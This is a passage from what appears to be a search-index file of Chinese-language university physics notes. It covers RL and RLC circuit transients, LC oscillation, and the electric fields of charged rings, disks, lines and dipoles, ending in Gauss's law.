<p>\u6700\u5927\u662f\\(\\dfrac{\\varepsilon}{R}\\)\uff0c\u5728\\(t=L/R\\)\u8fbe\u5230\u6700\u5927\u503c\u7684\\(63\\%\\)</p> <p>\u5bf9\u4e8e\u7535\u538b</p> \\[     V_L = L\\dfrac{di}{dt}=-\\varepsilon e^{-\\frac{-Rt}{L}} \\] <p>\u6700\u5927\u662f\\(\\varepsilon\\)\uff0c\u5728\\(t=L/R\\)\u8fbe\u5230\u6700\u5927\u503c\u7684\\(37\\%\\)</p>"},{"location":"NOTE/Physics/electrodynamincs/#b","title":"\u5f00\u5173\u6253\u5230b","text":"\\[     iR + L \\frac{di}{dt} = 0 \\] \\[     \\frac{di}{dt} = -\\frac{R}{L}i \\] \\[     i = i_0 e^{-\\frac{R}{L}t} \\] <p>\\(t=0\\),\\(i_0=\\dfrac{\\varepsilon}{R}\\)</p> \\[     i = \\dfrac{\\varepsilon}{R}e^{-\\frac{R}{L}t} \\] <p>\u5bf9\u4e8e\u7535\u6d41\uff0c\u5728\\(L/R\\)\u65f6\u95f4\u540e\uff0c\u7535\u6d41\u51cf\u5c11\u5230\u539f\u6765\u7684\\(37\\%\\)</p> <p>\u5bf9\u4e8e\u7535\u538b,\u5728\\(L/R\\)\u65f6\u95f4\u540e\uff0c\u7535\u538b\u51cf\u5c11\u5230\u539f\u6765\u7684\\(37\\%\\)</p>"},{"location":"NOTE/Physics/electrodynamincs/#_21","title":"\u7ebf\u5708\u7684\u80fd\u91cf","text":"<p>Note</p> <p>\u56de\u5fc6\u7535\u5bb9\u5668\u7684\u80fd\u91cf</p> \\[     U = \\frac{1}{2} CV^2  \\enspace u_e=\\dfrac{1}{2}\\varepsilon E^2 \\] \\[     dW = -\\varepsilon dq = -\\varepsilon i dt =  Lidi \\] \\[     W = \\int_0^I Lidi = \\frac{1}{2} LI^2 \\] <p>Info</p> <p>\u5982\u679c\u662f\u4e92\u611f\u7ebf\u5708\uff0c\u90a3\u4e48 \\(W=MI_1I_2\\)</p> <p>Key-point</p> <p>\u78c1\u573a\u7684\u80fd\u91cf\u5bc6\u5ea6</p> \\[     u_m = \\dfrac{1}{2\\mu_0}B^2 \\] <p>\u603b\u7ed3</p> <p>\\(\\mu_B=\\dfrac{1}{2}\\boldsymbol{B} \\cdot \\boldsymbol{H}\\)</p> <p>\\(\\mu_E=\\dfrac{1}{2}\\boldsymbol{D} \\cdot \\boldsymbol{E}\\)</p>"},{"location":"NOTE/Physics/electrodynamincs/#_22","title":"\u7535\u78c1\u632f\u8361","text":"<p>\u7535\u5bb9\u7535\u573a\u80fd\u548c\u7ebf\u5708\u78c1\u573a\u80fd\u91cf\u76f8\u4e92\u8f6c\u5316</p> <p>Info</p> <p>\u53ef\u4ee5\u7c7b\u6bd4\u4e8e\u5f39\u7c27\u632f\u5b50\uff0c\u5f39\u7c27\u7684\u52bf\u80fd\u548c\u52a8\u80fd\u76f8\u4e92\u8f6c\u5316</p> <p> </p> <p>\\(q\\)-&gt;\u5f39\u7c27\u7684\u4f4d\u79fb\\(x\\),\\(i\\)-&gt;\u5f39\u7c27\u7684\u901f\u5ea6\\(v\\),\\(\\dfrac{1}{C}\\)-&gt;\u5f39\u7c27\u7684\u52b2\u5ea6\u7cfb\u6570\\(k\\),\\(L\\)-&gt;\u5f39\u7c27\u7684\u8d28\u91cf\\(m\\)</p> \\[     \\omega=\\dfrac{1}{\\sqrt{LC}} \\] <p>Proof</p> \\[   U = U_B + U_E = \\frac{1}{2} Li^2 + \\frac{1}{2} \\frac{q^2}{C} \\] \\[   \\frac{dU}{dt} = Li \\frac{di}{dt} + \\frac{q}{C} \\frac{dq}{dt} = Li \\frac{d^2 q}{dt^2} + \\frac{q}{C} i = 0 \\] \\[    \\frac{d^2 q}{dt^2} + \\frac{1}{LC} q = 0 \\] \\[    \\left( \\frac{d^2 x}{dt^2} + \\frac{k}{m} x = 0 \\right) \\] \\[    \\omega = \\sqrt{\\frac{k}{m}} = \\frac{1}{\\sqrt{LC}} \\]"},{"location":"NOTE/Physics/electrodynamincs/#_23","title":"\u963b\u5c3c\u548c\u53d7\u8feb\u632f\u52a8","text":""},{"location":"NOTE/Physics/electrodynamincs/#rlc","title":"RLC\u7535\u8def","text":"<p>\u5bf9\u4e8e\u5f00\u5173\u6253\u5230a\u548cb\u7684\u60c5\u51b5\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230</p> \\[ L \\frac{di}{dt} + iR + \\frac{q}{C} =  \\begin{cases}  \\varepsilon &amp; \\text{K} \\to a \\\\  0 &amp; \\text{K} \\to b  \\end{cases} \\] <p>\u5373</p> \\[ i = \\frac{dq}{dt}, \\quad L \\frac{d^2 q}{dt^2} + R \\frac{dq}{dt} + \\frac{1}{C} q =  \\begin{cases}  \\varepsilon &amp; \\\\  0 &amp;  \\end{cases} \\] <p>\u8fc7\u963b\u5c3c</p> <p>\u5f53</p> \\[ R^2 &gt; \\frac{4L}{C} \\] <p>\u6b64\u65f6\u4e3a\u8fc7\u963b\u5c3c\u9707\u8361</p> charging discharging <p>\u4e34\u754c\u963b\u5c3c</p> <p>\u5f53</p> \\[ R^2 = \\frac{4L}{C} \\] <p>\u6b64\u65f6\u4e3a\u4e34\u754c\u963b\u5c3c\u9707\u8361</p> \\[     q = (A+Bt)e^{-\\frac{R}{2L}t}+C\\varepsilon \\] <p>\u56fe\u50cf\u4e0e\u8fc7\u963b\u5c3c\u76f8\u4f3c,\u4f46\u662f\u9707\u8361\u5f97\u66f4\u5feb</p> <p>\u6b20\u963b\u5c3c</p> <p>\u5f53</p> \\[ R^2 &lt; \\frac{4L}{C} \\] <p>\u6b64\u65f6\u4e3a\u6b20\u963b\u5c3c\u9707\u8361</p> <p>\u505a\u632f\u5e45\u4e0d\u65ad\u51cf\u5c0f\u7684\u632f\u52a8</p> light damping <p>\u53d7\u8feb\u632f\u52a8\u548c\u5171\u632f</p> <p>\u5982\u679c\u5916\u52a0\u7535\u538b\u4e3a\u4ea4\u6d41\u7535\uff0c\u5f53\u53d8\u5316\u9891\u7387\u4e0e\u7535\u8def\u56fa\u6709\u9891\u7387\u76f8\u540c\u65f6\uff0c\u7535\u8def\u4f1a\u53d1\u751f\u5171\u632f</p> \u5171\u632f <p>Info</p> <p>\u666e\u901a\u7684\u5929\u7ebf\u65e0\u6cd5\u540c\u65f6\u63a5\u53d7\u5f88\u591a\u7684\u4fe1\u53f7\uff0c\u5982\u679c\u5f88\u591a\u4eba\u4e00\u8d77\u6253\u7535\u8bdd\uff0c\u90a3\u4e48\u7535\u7ebf\u5c31\u4f1a\u762b\u75ea\u6389\uff0c\u4f46\u662f\u5982\u679c\u4f7f\u7528\u7684\u662f\u8d85\u5bfc\u4f53\u5929\u7ebf\uff0c\u7535\u963b\u5f88\u5c0f\uff0c\u5176\u632f\u5e45\u7684\u5bbd\u5ea6\u5f88\u5c0f\u5f88\u5c0f\uff0c\u4e0d\u7528\u62c5\u5fc3\u5171\u632f\u7684\u95ee\u9898</p> <p>\u6700\u540e\uff0c\u9644\u4e0a\u672c\u4eba\u666e\u901a\u7269\u7406\u5b66(I)\u6709\u5173\u963b\u5c3c\u9707\u8361\u7684\u7b14\u8bb0\uff0c\u6709\u7a7a\u518d\u6572\u4e0a\u6765\u5427</p> \u632f\u52a8\u65b9\u7a0b\u63a8\u5bfc <p> \u67e5\u770b</p>"},{"location":"NOTE/Physics/eletronic/","title":"\u7535\u5b66\u90e8\u5206","text":"<p> \u7ea6 5706 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 20 \u5206\u949f</p>"},{"location":"NOTE/Physics/eletronic/#electric-charge-and-coulombs-law","title":"Electric Charge and Coulomb's Law(\u7535\u8377\u548c\u5e93\u4ed1\u5b9a\u5f8b)","text":""},{"location":"NOTE/Physics/eletronic/#a-ring-of-charge","title":"A ring of charge","text":"<p>\u5bf9\u4e8e\u4e00\u4e2a\u5747\u5300\u5e26\u7535\u7684\u5706\u73af\uff0c\u8ddd\u79bb\u5176\u4e2d\u5fc3 \\(z\\) \u7684\u5e26\u7535\u91cf\u4e3a \\(q_0\\) \u6240\u53d7\u7684\u6cbf \\(Z\\) \u65b9\u5411\u7684\u529b \\(F_z\\) </p> <p>\u5148\u8ba1\u7b97\u7535\u8377\u5bc6\u5ea6</p> \\[ \\lambda = \\frac{q}{2 \\pi R} \\] \\[ dF = \\frac{1}{4 \\pi \\epsilon_0} \\frac{q_0 dq}{r^2} = \\frac{1}{4 \\pi \\epsilon_0} \\frac{q_0 \\lambda Rd\\phi}{(z^2 + R^2)} \\] \\[ F_z = \\int dF_z = \\int dF \\cos \\theta = \\int \\frac{q_0 \\lambda Rd\\phi}{4 \\pi \\epsilon_0 (z^2 + R^2)} \\frac{z}{\\sqrt{z^2 + R^2}} \\] \\[ = \\frac{1}{4 \\pi \\epsilon_0} \\int_0^{2\\pi} \\frac{q_0 \\lambda Rz}{(z^2 + R^2)^{3/2}} d\\phi \\] \\[ = \\frac{1}{4 \\pi \\epsilon_0} \\cdot \\frac{q_0 q z}{(z^2 + R^2)^{3/2}} \\bigg|_0^{2\\pi} \\] \\[ = \\frac{1}{4 \\pi \\epsilon_0} \\cdot \\frac{q_0 q z}{(z^2 + R^2)^{3/2}} \\] <p>Note</p> <p>\u5f53 \\(z\\) \u975e\u5e38\u5927,\u539f\u5f0f\u5b50\u5c31\u9000\u5316\u6210\u4e86\u4e24\u4e2a\u70b9\u7535\u8377\u4e4b\u95f4\u7684\u76f8\u4e92\u4f5c\u7528</p> \\[   z \\to +\\infty, F_z \\to \\frac{1}{4 \\pi \\epsilon_0} \\dfrac{q_0q}{z^2} \\]"},{"location":"NOTE/Physics/eletronic/#a-disk-of-charge","title":"A disk of charge","text":"<p>\u5982\u679c\u662f\u4e00\u4e2a\u5706\u76d8\uff0c\\(F_z\\) \u53ef\u4ee5\u7528\u5706\u73af\u6765\u903c\u8fd1</p> \\[ \\sigma = \\frac{q}{\\pi R^2} \\] \\[ dq = \\sigma dA = \\sigma(2 \\pi \\omega d\\omega) = 2 \\pi \\sigma \\omega d\\omega \\] \\[ dF_z = \\frac{1}{4 \\pi \\epsilon_0} \\frac{q_0 (2 \\pi \\sigma \\omega d\\omega) z}{(z^2 + \\omega^2)^{3/2}} \\] \\[ F_z = \\frac{1}{4 \\pi \\epsilon_0} q_0 2 \\pi \\sigma z \\int_0^{R} \\frac{\\omega d\\omega}{(z^2 + \\omega^2)^{3/2}} \\] \\[ = \\frac{1}{4 \\pi \\epsilon_0} \\cdot \\frac{2 q_0 q}{R^2} \\left( 1 - \\frac{z}{\\sqrt{z^2 + R^2}} \\right) \\] <p>\u5f53 \\(z\\) \u975e\u5e38\u5927,\u539f\u5f0f\u5b50\u5c31\u9000\u5316\u6210\u4e86\u4e24\u4e2a\u70b9\u7535\u8377\u4e4b\u95f4\u7684\u76f8\u4e92\u4f5c\u7528(\u7528Taylor\u5c55\u5f00\u5206\u6790)</p> \\[ z \\to +\\infty, F_z \\to \\frac{1}{4 \\pi \\epsilon_0} \\dfrac{q_0q}{z^2} \\] \\[   \\left( 1 - \\frac{z}{\\sqrt{z^2 + R^2}} \\right) \\to \\left( 1- (1+\\frac{R^{2}}{z^{2}})^{-\\frac{1}{2}} \\right) = \\frac{R^{2}}{2z^{2}} \\] <p>Key-point</p> <p>\u5982\u679c\u662f\u4e00\u4e2a\u65e0\u7a77\u5927\u7684\u5706\u76d8\uff0c\u90a3\u4e48\\(R \\to \\infty\\),\u6b64\u65f6 \\(F_z = \\dfrac{1}{4 \\pi \\epsilon_0} \\dfrac{2q_0q}{R^2}\\) \u5176\u7535\u573a\u4e3a</p> \\[ E_z = \\frac{\\sigma}{2 \\varepsilon_0} \\] <p>A infinite stick of charge</p> <p>\u7531\u4e8e\u5bf9\u79f0\u6027\uff0c\u5728\\(x\\)\u65b9\u5411\u4e0a\u6ca1\u6709\u7535\u573a</p> \\[ \\begin{align*}   dq &amp;= \\lambda dx = \\lambda d(r \\tan \\theta) = \\lambda r \\sec^2 \\theta d\\theta \\\\   dE_y &amp;= dE \\cos \\theta= \\frac{1}{4 \\pi \\varepsilon_0} \\frac{dq}{r'^2} \\cos \\theta \\\\   &amp;= \\frac{1}{4 \\pi \\varepsilon_0} \\frac{\\lambda r\\cos^2 \\theta \\sec^2 \\theta d\\theta}{r^2} \\cos \\theta \\\\   &amp;= \\frac{1}{4 \\pi \\varepsilon_0} \\frac{\\lambda \\cos \\theta d\\theta}{r}\\\\   E_y &amp;= \\int_{-\\frac{\\pi}{2}}^{\\frac{\\pi}{2}} dE_y = \\int_{-\\frac{\\pi}{2}}^{\\frac{\\pi}{2}} \\frac{1}{4 \\pi \\varepsilon_0} \\frac{\\lambda \\cos \\theta d\\theta}{r} \\\\   &amp;= \\dfrac{\\lambda}{2 \\pi \\varepsilon_0 r} \\ \\end{align*} \\]"},{"location":"NOTE/Physics/eletronic/#dipole","title":"Dipole(\u7535\u5076\u6781\u77e9)","text":"<p>Definition</p> <p>\u7535\u5076\u6781\u77e9\u662f\u63cf\u8ff0\u5e26\u7535\u7c92\u5b50\u7cfb\u7edf\u4e2d\u7535\u8377\u5206\u5e03\u7684\u7269\u7406\u91cf\uff0c\u901a\u5e38\u7528\u4e8e\u91cf\u5316\u4e24\u4e2a\u76f8\u53cd\u7535\u8377\u4e4b\u95f4\u7684\u5206\u79bb\u7a0b\u5ea6\u548c\u65b9\u5411\u3002\u5728\u7ecf\u5178\u7535\u78c1\u5b66\u4e2d\uff0c\u7535\u5076\u6781\u77e9\u901a\u5e38\u8868\u793a\u4e3a\u4e00\u4e2a\u77e2\u91cf\uff0c\u5176\u5927\u5c0f\u7b49\u4e8e\u7535\u8377\u91cf\u4e58\u4ee5\u7535\u8377\u95f4\u7684\u8ddd\u79bb\u3002 \u5b9a\u4e49\u4e3a\uff1a</p> \\[ \\boldsymbol{p} = q \\cdot \\boldsymbol{d} \\] <p>\u5176\u4e2d\uff1a</p> <ul> <li>\\( q \\) \u662f\u4e24\u4e2a\u76f8\u53cd\u7535\u8377\u7684\u7535\u8377\u91cf\uff0c</li> <li>\\( \\mathbf{d} \\) \u662f\u4ece\u8d1f\u7535\u8377\u6307\u5411\u6b63\u7535\u8377\u7684\u77e2\u91cf\uff0c\u8868\u793a\u4e24\u4e2a\u7535\u8377\u4e4b\u95f4\u7684\u8ddd\u79bb\u3002</li> </ul> <p>\u7535\u5076\u6781\u77e9\u7684\u65b9\u5411\u4ece\u8d1f\u7535\u8377\u6307\u5411\u6b63\u7535\u8377\uff0c\u56e0\u6b64\u5728\u5206\u5b50\u6216\u539f\u5b50\u7cfb\u7edf\u4e2d\uff0c\u5b83\u53cd\u6620\u4e86\u7535\u8377\u4e0d\u5bf9\u79f0\u5206\u5e03\u7684\u7a0b\u5ea6\u3002\u5bf9\u4e8e\u5206\u5b50\uff0c\u7535\u5076\u6781\u77e9\u7684\u5927\u5c0f\u548c\u65b9\u5411\u5bf9\u5206\u5b50\u7684\u5316\u5b66\u6027\u8d28\u548c\u53cd\u5e94\u6027\u6709\u91cd\u8981\u5f71\u54cd\u3002</p> <p>\u7535\u5076\u6781\u77e9\u7684\u5355\u4f4d\u901a\u5e38\u662f\u5fb7\u62dc\uff08Debye\uff0c\u7b26\u53f7\u4e3a D\uff09\uff0c1 \u5fb7\u62dc\u5927\u7ea6\u7b49\u4e8e \\( 3.33564 \\times 10^{-30} \\) \u5e93\u4ed1\u00b7\u7c73\u3002</p> <p>\u6839\u636e\u7535\u5076\u6781\u77e9\u53ef\u4ee5\u5c06\u5206\u5b50\u95f4\u4f5c\u7528\u529b\u5206\u4e3a\u51e0\u79cd\u7c7b\u578b</p> <ul> <li>\u79bb\u5b50-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\uff08Ion-Dipole Interaction\uff09</li> </ul> <p>\u79bb\u5b50-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\u53d1\u751f\u5728\u5e26\u7535\u7684\u79bb\u5b50\u548c\u6781\u6027\u5206\u5b50\u4e4b\u95f4\u3002\u5f53\u79bb\u5b50\uff08\u5982 \\( \\text{Na}^+ \\) \u6216 \\( \\text{Cl}^- \\)\uff09\u9760\u8fd1\u4e00\u4e2a\u6709\u7535\u5076\u6781\u77e9\u7684\u5206\u5b50\uff08\u5982\u6c34\u5206\u5b50\uff0cH\\(_2\\)O\uff09\u65f6\uff0c\u79bb\u5b50\u4f1a\u4e0e\u6781\u6027\u5206\u5b50\u7684\u90e8\u5206\u6b63\u7535\u8377\u6216\u8d1f\u7535\u8377\u4ea7\u751f\u5438\u5f15\u529b\u3002</p> <p>Eg</p> <p>\u5728\u76d0\u6eb6\u89e3\u4e8e\u6c34\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6c34\u5206\u5b50\u7684\u6781\u6027\u90e8\u5206\uff08\u6c27\u7684\u8d1f\u7535\u90e8\u5206\u6216\u6c22\u7684\u6b63\u7535\u90e8\u5206\uff09\u4e0e\u94a0\u79bb\u5b50\u6216\u6c2f\u79bb\u5b50\u4e4b\u95f4\u4ea7\u751f\u7684\u5438\u5f15\u529b\u662f\u79bb\u5b50-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\u3002\u8fd9\u79cd\u76f8\u4e92\u4f5c\u7528\u6709\u52a9\u4e8e\u6eb6\u89e3\u8fc7\u7a0b\u3002</p> <ul> <li>\u5076\u6781-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\uff08Dipole-Dipole Interaction\uff09</li> </ul> <p>\u5076\u6781-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\u53d1\u751f\u5728\u4e24\u4e2a\u6781\u6027\u5206\u5b50\u4e4b\u95f4\uff0c\u8fd9\u4e9b\u5206\u5b50\u90fd\u6709\u6c38\u4e45\u7684\u5076\u6781\u77e9\u3002\u5f53\u4e00\u4e2a\u5206\u5b50\u7684\u6b63\u7535\u90e8\u5206\u63a5\u8fd1\u53e6\u4e00\u4e2a\u5206\u5b50\u7684\u8d1f\u7535\u90e8\u5206\u65f6\uff0c\u5b83\u4eec\u4e4b\u95f4\u4f1a\u4ea7\u751f\u5438\u5f15\u529b\u3002</p> <p>Eg</p> <p>\u50cf\u6c2f\u5316\u6c22 (HCl) \u8fd9\u6837\u7684\u6781\u6027\u5206\u5b50\u4e4b\u95f4\u7684\u76f8\u4e92\u4f5c\u7528\u5c31\u5c5e\u4e8e\u5076\u6781-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\u3002HCl \u5206\u5b50\u7684\u6c2f\u539f\u5b50\u5e26\u8d1f\u7535\uff0c\u800c\u6c22\u539f\u5b50\u5e26\u6b63\u7535\uff0c\u8fd9\u4e24\u79cd\u76f8\u53cd\u7684\u7535\u8377\u76f8\u4e92\u5438\u5f15\uff0c\u4ece\u800c\u5f62\u6210\u5076\u6781-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\u3002</p> <ul> <li>\u4f26\u6566\u8272\u6563\u529b\uff08London Dispersion Force\uff09</li> </ul> <p>\u4f26\u6566\u8272\u6563\u529b\uff0c\u53c8\u79f0\u4e3a**\u77ac\u65f6\u5076\u6781-\u8bf1\u5bfc\u5076\u6781\u529b**\uff0c\u662f\u4e00\u79cd\u5728\u6240\u6709\u539f\u5b50\u548c\u5206\u5b50\u4e4b\u95f4\u90fd\u5b58\u5728\u7684\u5f31\u76f8\u4e92\u4f5c\u7528\u529b\uff0c\u7279\u522b\u662f\u5bf9\u4e8e\u975e\u6781\u6027\u5206\u5b50\u3002\u5b83\u662f\u7531\u77ac\u65f6\u7684\u7535\u5b50\u8fd0\u52a8\u5f15\u8d77\u7684\uff0c\u5373\u5728\u67d0\u4e2a\u77ac\u95f4\uff0c\u5206\u5b50\u6216\u539f\u5b50\u5468\u56f4\u7684\u7535\u5b50\u4e91\u5206\u5e03\u4e0d\u5747\u5300\uff0c\u5f62\u6210\u77ac\u65f6\u5076\u6781\uff0c\u8fd9\u4e2a\u77ac\u65f6\u5076\u6781\u4f1a\u8bf1\u5bfc\u4e34\u8fd1\u5206\u5b50\u6216\u539f\u5b50\u4ea7\u751f\u76f8\u4f3c\u7684\u77ac\u65f6\u5076\u6781\uff0c\u4ece\u800c\u4ea7\u751f\u5438\u5f15\u529b\u3002</p> <p>Eg</p> <p>\u5373\u4f7f\u662f\u50cf\u6c2e\u6c14 (N\\(_2\\)) \u548c\u6c27\u6c14 (O\\(_2\\)) \u8fd9\u6837\u7684\u975e\u6781\u6027\u5206\u5b50\uff0c\u4e5f\u5b58\u5728\u4f26\u6566\u8272\u6563\u529b\u3002\u8fd9\u79cd\u76f8\u4e92\u4f5c\u7528\u867d\u7136\u5f88\u5f31\uff0c\u4f46\u5bf9\u5927\u591a\u6570\u975e\u6781\u6027\u7269\u8d28\u7684\u51dd\u805a\u529b\u548c\u7194\u6cb8\u70b9\u6709\u91cd\u8981\u5f71\u54cd\u3002</p>"},{"location":"NOTE/Physics/eletronic/#_2","title":"\u7535\u5076\u6781\u77e9\u4ea7\u751f\u7684\u7535\u573a","text":"\\[   E_x(x,0)=0(symmetry) \\] \\[ E_y(x,0) = -2 \\cdot \\frac{1}{4 \\pi \\varepsilon_0} \\cdot \\frac{Q}{r^2} \\sin \\theta \\] \\[ \\sin \\theta = \\frac{a}{r}, \\quad r^2 = x^2 + a^2 \\] \\[ E_y(x,0) = -2 \\cdot \\frac{1}{4 \\pi \\varepsilon_0} \\cdot \\frac{Qa}{(x^2 + a^2)^{3/2}} \\] <p>Note</p> \\[ for \\ r&gt;&gt;a  \\\\ E_y(r,0) = -2 \\cdot \\frac{1}{4 \\pi \\varepsilon_0} \\cdot \\frac{Qa}{r^3} \\] <p>\u5982\u679c\u8003\u8651 \\((0,y)\\) \u4e0a\u7684\u7535\u573a\uff0c\u5219\u5176\u5728 \\(x\\) \u65b9\u5411\u4e0a\u6ca1\u6709\u5206\u91cf</p> \\[   E_x(0,y)=0 \\] \\[ \\begin{align*} E_y(0,y) &amp;= \\frac{Q}{4 \\pi \\varepsilon_0} \\cdot \\left(\\frac{1}{(y-a)^2}-\\frac{1}{(y+a)^2}\\right)\\\\          &amp;= \\frac{Q}{4 \\pi \\varepsilon_0} \\cdot \\dfrac{4ay}{y^4(1-\\frac{a^2}{y^2})^2} \\end{align*} \\] <p>Note</p> \\[ for \\ r&gt;&gt;a  \\\\ E_y(0,r) = 4 \\cdot \\frac{1}{4 \\pi \\varepsilon_0} \\cdot \\frac{Qa}{r^3} \\] <p>Eg</p> <p>\u5317\u9ad8\u5cf0\u4e0a\u7684\u5929\u7ebf\u548c\u7d2b\u91d1\u6e2f\u7684\u5206\u5b50</p> <p>\\(E\\) \u548c \\(r^3\\) \u6210\u53cd\u6bd4 </p> <p>Key-point</p> <p>\u7535\u5076\u6781\u77e9\u7684\u7535\u573a\u4e0e\u8ddd\u79bb\\(r^3\\)\u6210\u53cd\u6bd4\uff0c\u800c\u70b9\u7535\u8377\u7684\u7535\u573a\u4e0e\u8ddd\u79bb\\(r^2\\)\u6210\u53cd\u6bd4\uff0c\u65e0\u7a77\u957f\u5bfc\u7ebf\u7684\u7535\u573a\u4e0e\u8ddd\u79bb\\(r\\)\u6210\u53cd\u6bd4</p>"},{"location":"NOTE/Physics/eletronic/#_3","title":"\u7535\u5076\u6781\u77e9\u5728\u7535\u573a\u4e2d","text":"\\[    \\tau = F \\cdot \\frac{d}{2} \\sin \\theta + F \\cdot \\frac{d}{2} \\sin \\theta = Fd \\sin \\theta = qEd \\sin \\theta    = pE \\sin \\theta \\] \\[     \\boldsymbol{p}=q\\boldsymbol{d} \\\\     \\boldsymbol{\\tau}= \\boldsymbol{p} \\times \\boldsymbol{E} \\] <p>Key-point</p> <p>\u7535\u5076\u6781\u77e9\u5728\u7535\u573a\u4e2d\u53d7\u5230\u7684\u529b\u77e9\u4f1a\u9a71\u4f7f\u7535\u5076\u6781\u77e9\u65cb\u8f6c\u4e0a\u4e0e\u7535\u573a\u65b9\u5411\u5bf9\u9f50</p> <p>\u5bf9\u4e8e\u7535\u5076\u6781\u77e9\u5728\u7535\u573a\u4e2d\u7684\u52bf\u80fd</p> \\[ \\begin{align*}   W &amp;=\\int dw = \\int_{\\theta_0}^{\\theta} \\tau \\cdot d\\theta = - \\int_{\\theta_0}^{\\theta} pE \\sin \\theta d\\theta \\\\    &amp;= pE(\\cos \\theta - \\cos \\theta_0) \\\\   \\Delta U &amp;= U(\\theta) - U(\\theta_0)=-W\\\\            &amp;= pE(\\cos \\theta_0 - \\cos \\theta)\\\\   \\theta_0 &amp;= \\frac{\\pi}{2}, U(\\theta_0) = 0\\\\  U(\\theta) &amp;= -pE\\cos \\theta= -\\boldsymbol{p} \\cdot \\boldsymbol{E} \\end{align*} \\] <p>\u7b2c\u4e00\u4e2a\u5f0f\u5b50\u7684\u8d1f\u53f7\u662f\u56e0\u4e3a\u529b\u77e9\u4e0e\u89d2\u5ea6\u7684\u53d8\u5316\u65b9\u5411\u76f8\u53cd</p>"},{"location":"NOTE/Physics/eletronic/#gausss-law","title":"Gauss's Law(\u9ad8\u65af\u5b9a\u7406)","text":""},{"location":"NOTE/Physics/eletronic/#_4","title":"\u7535\u573a\u7684\u9ad8\u65af\u5b9a\u7406","text":"<p>Definition</p> <p>The net electric flux through any closed surface is proportional to the charge enclosed by that surface.</p> \\[    \\Phi = \\oiint \\boldsymbol{E} \\cdot d\\boldsymbol{A} = \\frac{q_{enc}}{\\varepsilon_0} \\] <p>E\u4e0d\u4e00\u5b9a\u53ea\u7531q\u4ea7\u751f\uff0c\u4f46\u662fq\u53ea\u7528\u8ba1\u7b97\u88ab\u5305\u88f9\u4f4f\u7684\u7535\u8377</p> <p>\u5728\u6570\u5b66\u5206\u6790\u4e8c\u4e2d\uff0c\u6211\u4eec\u4e5f\u77e5\u9053Gauss\u516c\u5f0f\uff0c\u5373\uff1a</p> <p>Note</p> <p>\u8bbe \\(\\Omega\\) \u662f\u5206\u6bb5\u5149\u6ed1\u7684\u5c01\u95ed\u66f2\u9762\u6784\u6210\u7684\u4e8c\u7ef4\u5355\u8fde\u901a\u533a\u57df\uff0c\u51fd\u6570 \\(P(x,y,z),Q(x,y,z),R(x,y,z)\\) \u5728 $\\Omega $ \u4e0a\u5177\u6709\u8fde\u7eed\u504f\u5bfc\u6570, \u5219</p> \\[   \\iiint_{\\Omega} \\left( \\frac{\\partial P}{\\partial x} + \\frac{\\partial Q}{\\partial y} + \\frac{\\partial R}{\\partial z} \\right) dV = \\iint_{\\partial \\Omega} Pdydz + Qdzdx + Rdxdy \\] <p>\u5c06\u4e24\u8005\u7ed3\u5408\u8d77\u6765\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u9ad8\u65af\u5b9a\u7406\u7684\u5fae\u5206\u5f62\u5f0f</p> \\[    \\Phi=\\oiint \\boldsymbol{E} \\cdot d\\boldsymbol{A} = \\iiint \\nabla \\cdot \\boldsymbol{E} dV \\] <p>\u800c</p> \\[      \\frac{q_{enc}}{\\varepsilon_0}= \\iiint \\frac{\\rho}{\\varepsilon_0} dV  \\] <p>\u6240\u4ee5</p> \\[    \\nabla \\cdot \\boldsymbol{E} = \\frac{\\rho}{\\varepsilon_0} \\] <p>Key-point</p> <p>\u8fd0\u7528\u9ad8\u65af\u5b9a\u7406\u53ef\u4ee5\u901a\u8fc7\u7535\u8377\u6c42\u7535\u573a\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u7535\u573a\u6c42\u7535\u8377\uff0c\u5173\u952e\u5728\u4e8e\u9ad8\u65af\u9762\u7684\u9009\u53d6\uff0c\u4e00\u822c\u800c\u8a00\uff0c\u9009\u53d6\u7403\u9762\uff0c\u5706\u67f1\u9762\uff0c\u6216\u8005\u957f\u65b9\u4f53\u8868\u9762\u66f4\u52a0\u65b9\u4fbf\u8ba1\u7b97\uff0c\u9ad8\u65af\u5b9a\u7406\u53ea\u662f\u518d\u8ba1\u7b97\u4e00\u4e9b\u5177\u6709\u7279\u6b8a\u5bf9\u79f0\u6027\u7269\u4f53\u65f6\uff0c\u975e\u5e38\u7684\u65b9\u4fbf\uff0c\u5bf9\u4e8e\u4e00\u822c\u7684\u7269\u4f53\uff0c\u8fd8\u662f\u8981\u7528\u5e93\u4ed1\u5b9a\u5f8b\u6765\u8ba1\u7b97</p> <p>Note</p> <p>\u6211\u4eec\u77e5\u9053\u5bfc\u4f53\u5185\u90e8\u7684\u7535\u573a\u662f0\uff0c\u7531\u9ad8\u65af\u5b9a\u7406\uff0c\u5bfc\u4f53\u7684\u5185\u90e8\u6ca1\u6709\u7535\u8377\uff0c\u6240\u4ee5\u5176\u7535\u8377\u5206\u5e03\u5728\u8868\u9762\u3002</p>"},{"location":"NOTE/Physics/eletronic/#_5","title":"\u9759\u7535\u573a\u7684\u73af\u8def\u5b9a\u5f8b","text":"<p>The circuit Law of the electrostatic field</p> \\[ \\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l} = 0 \\] <p>then</p> \\[ \\nabla \\times \\boldsymbol{E} = 0 \\] <p>\u8fd9\u4e2a\u662f\u7531Stokes\u5b9a\u7406\u63a8\u51fa\u7684\uff0c\u5373\uff1a</p> <p>Note</p> <p>\u8bbe \\(\\Omega\\) \u662f\u5149\u6ed1\u7684\u66f2\u9762\uff0c\u5176\u8fb9\u754c \\(\\partial \\Omega\\) \u662f\u5206\u6bb5\u5149\u6ed1\u7684\u95ed\u66f2\u7ebf\u51fd\u6570 \\(P(x,y,z),Q(x,y,z),R(x,y,z)\\) \u5728 $\\Omega\uff0c\\partial \\Omega $ \u4e0a\u5177\u6709\u8fde\u7eed\u504f\u5bfc\u6570, \u5219</p> \\[\\begin{align*}   \\oint_{\\partial 